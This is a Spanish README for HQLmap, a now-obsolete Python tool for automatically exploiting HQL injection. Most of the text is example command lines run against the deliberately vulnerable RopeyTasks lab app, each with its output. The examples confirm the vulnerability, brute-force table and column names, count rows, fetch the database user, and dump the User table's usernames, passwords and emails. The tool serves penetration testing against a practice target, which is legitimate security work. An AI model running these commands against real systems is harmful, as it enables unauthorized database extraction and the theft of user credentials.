
(Obsoleto) HQLmap, herramienta automática para explotar inyecciones HQL
Este proyecto ha sido creado para explotar inyecciones HQL. La herramienta ha sido escrita en Python y se publica bajo la licencia MIT. Desarrollo futuro: tengo en mente desarrollar un módulo específico para SQLmap.
Si deseas un entorno vulnerable rápido donde puedas probar la herramienta, te recomiendo usar RopeyTasks: https://github.com/continuumsecurity/RopeyTasks/
Además, si deseas más información sobre HQLi, consulta esta entrada de blog: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html
Para instalar este proyecto, solo tienes que clonarlo escribiendo:
git clone [email protected]:PaulSec/HQLmap.git
Para usar este proyecto, ve al directorio:
cd HQLmap
Y lanza el proyecto:
python HQLmap.py
Luego se muestra el uso:
Usage: HQLmap.py [options]
Options:
-h, --help show this help message and exit
--url=URL qURL to pentest
--cookie=COOKIE Cookie to test it
--param=PARAM Param to test
--postdata=POSTDATA Postdata (POST Method)
--message=BLIND_HQLI_MESSAGE
Message appearing while Blind HQLi
--tables Tries to gather as much tables as possible (With
Bruteforce)
--T=TABLE Name of the table you want to get
--table_name_file=FILE_TABLE
DB file for name of tables
--columns Tries to gather as much columns as possible (With
Bruteforce)
--C=COLUMN Name of the column you want to get
--column_name_file=FILE_COLUMN
DB file for name of columns
--check Check if host is vulnerable
--user Tries to get user() from dbms
--count Get count of specified table(s)
--dump Dump specified table(s) / column(s)
--results Enumerate results after session
--verbose Verbose mode
Esta parte incluye diferentes escenarios.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check
La salida es muy simple:
Host seems vulnerable.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables
Aquí está la salida:
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
Al realizar esta enumeración, el escáner utiliza el archivo predeterminado para los nombres de las tablas si no se especifica. El archivo predeterminado es: db/tables.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
Al realizar esta enumeración, el escáner utiliza el archivo predeterminado para los nombres de las tablas Y para los nombres de las columnas. Los archivos predeterminados son:
Para tablas: db/tables.db Para columnas: db/columns.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo
Y la salida:
[-] Table foo does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns
Y la salida:
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar
Y la salida:
[!] Table User has been found.
[-] Column bar in User does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count
O para todas las tablas:
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count
Y la salida:
[!] Table User has been found.
[!] Count(*) of User : 3
Para realizar esta acción, debes especificar una tabla (o todas con el flag --tables) y añadir el flag --user de esta manera:
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user
Y la salida (después de unos segundos):
[!] Table User has been found.
[!] Username of Database found : SA
Para recuperar el usuario, implementé un algoritmo muy similar a una dicotomía "variable".
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump
Y la salida:
(redacted)
[Task]
[Name]
- Bob's shopping
- Alice's shopping
[Task]
[User_Id]
- 1
- 2
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
(redacted)
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump
Y la salida:
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
[User]
[Password]
- password
- password
- password
[User]
[Email]
- [email protected]
- [email protected]
- [email protected]
[User]
[Firstname]
- Robert
- Alice
- Administrator
[User]
[Lastname]
- McBride
- O'Reilly
- Reynolds
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump
Y la salida:
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
[username]
- bob
- alice
- admin
No dudes en dar tu opinión y solicitar nuevas funciones.
Proyecto publicado bajo licencia MIT.